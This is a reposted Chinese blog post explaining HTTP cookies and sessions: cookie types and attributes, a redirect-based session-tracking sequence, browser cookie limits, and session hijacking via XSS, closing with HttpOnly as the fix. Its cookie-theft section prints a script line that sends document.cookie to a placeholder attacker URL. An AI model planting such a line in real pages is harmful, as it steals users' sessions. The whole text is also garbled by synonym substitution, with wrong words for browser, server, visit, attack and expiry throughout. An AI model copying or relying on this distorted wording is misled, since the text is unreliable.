cookie和session那些事

cookie

history

cookie最初是由网景公司开辟的,如今一切重要的阅读器都支撑它.

type

cookie分为两种:会话cookie和耐久cookie.
会话cookie是一种暂时的cookie,它纪录用户的接见站点的设置偏好.用户在退出阅读器就会被删除.
耐久cookie是存储在硬盘上的,通经常运用耐久cookie保护用户周期性接见的站点的配置文件或用户名.
会话cookie和耐久cookie的区分在于有无逾期时刻,没有逾期时刻就是会话cookie.

cookie罐

cookie的基本思想是让阅读器积聚一组效劳器特有的信息,每次接见这个效劳器时都将信息供应给它.

阅读器担任存储cookie信息,所以这体系称为客户端侧状况(client-side state).

此cookie的恰是规范名称为HTTP状况治理机制(HTTP state management mechanism).

站点运用差别的cookie

许多web站点都邑与第三方厂商达成协定,由其来治理广告.用户在接见多个由雷同广告公司供应效劳的站点时.(因为域名是婚配)阅读器就会回送设置好的耐久cookie. 营销公司能够将此手艺与Referer首部连系, 私下构建用户文档网络用户习气.

第三方cookie

当你接见A网站时,a效劳器设置B网站的cookie,当你接见B网站时,客户端就把cookie发给b效劳器,b效劳器就收到了cookie.做相应的处置惩罚.

cookie版本0属性

在效劳器上能够在相应的首部加Set-cookie的属性掌握哪些站点能够运用cookie.
Set-cookie: user=”mary”; expires=”Manday, 01-01-1999 01-01-01″; pref=password; path=/secure/; secure domain=”xxx.com”
NAME=VALUE:强迫,键值
expires: 逾期时刻(Weekday, DD-MM-YY HH:MM:SS GMT)
path: 途径
secure: 在https时发送

cookie版本1新增属性

Version: 强迫,运用cookie的版本
Comment: 通知客户端怎样运用
CommentURL: 指向详细描述这cookie目标和战略的文档
Discard:客户端在顺序停止时,摒弃这个cookie
Max-Age:以秒单元,设置cookie的逾期时刻
port:端口号

会话跟踪

在用户接见站点举行多项事件可用cookie举行对用户的跟踪.在用户接见站点时,就会启动事件链,在web效劳器会运用重定向,URL重写以及cookie设置.

a-客户端翻开xxx.com网页
b-效劳器将客户端重定向到其他URL上(Location: http://www.xxx.com/redirect.html)
c-客户端向重定向的URL发要求
d-效劳端相应上送出两个会话cookie,将用户重定向到另一个URL(Location: http://www.xxx.com/redirect.html/cookie[key])
e-客户端向重定向的URL发要求,并把cookie附加在要求
f-效劳器收到要求,在送两个cookie,在重定向(Location: http://www.xxx.com/end.html)
g-客户端向重定向的URL发要求,并附上一切的cookie
h-效劳器回送内容
(来自于amazon.com栗子)

cache

能够在要求头说明cookie不可缓存

Cache-Control: no-cache='Set-Cookie'

Max Length

IE6及更低版本限定每一个域名最多20个cookie
IE7和今后版本每一个域名最多50个。IE7最初是支撑每一个域名最大20个cookie,今后被微软的一个补丁所更新
Firefox限定每一个域最多50个cookie
Opera限定每一个域最多30个cookie
Safari和Chrome关于每一个域的cookie数目限定没有硬性规定

cookie盗取

进击者 => a 被进击者 => b
a效劳器的文件 => http://xxx.com/xxx.php
a只要在b的效劳器上加一行代码,就可以猎取用户在b网站的cookie

location.href='http://xxx.com/xxx.php?cookie=' + document.cookie

short

瑕玷是不太平安,敏感信息最好别用cookie存储

session

session是一个抽象概念,效劳端须要纪录用户的状况时,就须要用某种机制来识详细的用户,这机制就是session机制.效劳端session的数据结构,用来跟踪用户的状况,这个数据能够保存在集群、数据库、文件(效劳器) .

完成

第一次建立Session的时刻,效劳端会在HTTP协定中通知客户端,须要在 Cookie 内里纪录一个Session ID,今后每次要求把这个会话ID发送到效劳器.
每次HTTP要求的时刻,客户端都邑发送相应的Cookie信息到效劳端.

XSS挟制

跨站剧本进击(Cross Site Script为了区分于CSS简称为XSS)指的是歹意进击者往Web页面里插进去歹意html代码,当用户阅读该页之时,嵌入个中Web内里的html代码会被实行,从而到达歹意用户的特别目标。
效劳器天生的用以标识客户信息的cookie平常被称为sessionId,而经由过程一些手腕猎取别的用户sessionId的进击就叫session挟制

set-cookie设置一个HttpOnly搞掂了
    原文作者:lea_
    原文地址: https://segmentfault.com/a/1190000009906239
    本文转自网络文章,转载此文章仅为分享知识,如有侵权,请联系博主进行删除。
点赞